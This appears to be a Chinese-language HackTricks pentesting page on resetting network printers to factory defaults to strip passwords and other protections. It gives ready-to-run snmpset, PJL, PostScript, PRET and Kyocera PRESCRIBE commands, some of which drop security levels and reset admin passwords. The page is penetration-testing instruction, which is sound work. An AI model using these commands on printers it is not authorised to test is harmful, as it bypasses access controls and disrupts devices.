hacktricks/network-services-pentesting/pentesting-printers/factory-defaults.md

86 lines
6.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<details>
<summary><strong>零基础学习 AWS 黑客技术直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
* 如果您想在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>
将设备**重置**为出厂默认设置是一项安全关键功能,因为它会**覆盖保护机制**,如用户设置的密码。这通常可以通过在打印机的**控制面板**上按下**特殊键组合**来完成。执行这样的冷重置只需几秒钟,因此对于本地攻击者或渗透测试人员来说是一个现实的场景,例如他们可以在午餐时间潜入复印室。然而,**物理访问**设备**并非总是一个选项**。
### SNMP
打印机-MIB 定义了 **prtGeneralReset** 对象(**OID 1.3.6.1.2.1.43.5.1.1.3.1**),它允许攻击者使用 SNMP 重启设备powerCycleReset(4))、重置 NVRAM 设置resetToNVRAM(5)或恢复出厂默认设置resetToFactoryDefaults(6))。这个功能/攻击**被大量打印机支持**,并移除了所有保护机制,如嵌入式网络服务器的用户设置密码。虽然可以有效绕过保护机制,但这种方法的实际缺点是所有**静态 IP 地址配置将丢失**。**如果没有 DHCP** 服务,攻击者在将设备重置为出厂默认设置后将**无法**再次**连接**到设备。
可以使用下面显示的 `snmpset` 命令**将设备重置为出厂默认设置**(您需要知道**社区字符串**,在大多数情况下默认是 `public`
```bash
snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
```
### [PML](./#pml)/[PJL](./#pjl)
在许多情况下攻击者由于防火墙或未知的SNMP社区字符串而无法执行SNMP请求。然而在**HP设备**上,**SNMP**可以转换为其**PML表示**,并将请求嵌入到合法的打印作业中。这允许攻击者在普通打印作业中**重新启动和/或重置设备**至出厂默认设置,如下所示:
```bash
@PJL DMCMD ASCIIHEX="040006020501010301040106"
```
任何人都可以使用 [**PRET**](https://github.com/RUB-NDS/PRET) 重现对惠普打印机的攻击,通过重启或重置设备可以轻松复现:
```bash
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart
```
### PostScript
PostScript 提供了一个类似的功能:**FactoryDefaults** 系统参数,‘一个标志,如果在**打印机关闭前立即设置为 true**,会导致所有非易失性参数在下次开机时恢复到它们的**出厂默认**值。’ 需要注意的是,**PostScript** 本身也有能力**重启**其**环境**,但它需要一个**有效的密码**。\
然而PostScript 解释器可以被置入一个**无限循环**,如在 [文档处理](http://hacking-printers.net/wiki/index.php/Document\_processing) DoS 攻击中讨论的那样,这迫使用户**手动重启**设备,从而重置 PostScript 密码。
将 PostScript 系统参数重置为出厂默认值:
```bash
<< /FactoryDefaults true >> setsystemparams
```
重启PostScript解释器和虚拟内存
```bash
true 0 startjob systemdict /quit get exec
```
任何人都可以重启或重置打印机的PostScript解释器这可以通过使用[**PRET**](https://github.com/RUB-NDS/PRET) **轻松复现**
```bash
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart
```
### PRESCRIBE
对于 **Kyocera 设备****PRESCRIBE 页面** 描述语言可以用来通过下面显示的命令之一,在普通打印作业中将设备**重置为出厂默认设置**
```bash
!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password";
!R! ACNT "REST"; CMMT "Reset account code admin password";
!R! EGRE; CMMT "Reset the engine board to factory defaults";
!R! SIOP0,"RESET:0"; CMMT "Reset configuration settings";
```
要复现这种攻击请打开一个到打印机9100/tcp端口的原始网络连接并**发送上文记录的命令**。
<details>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>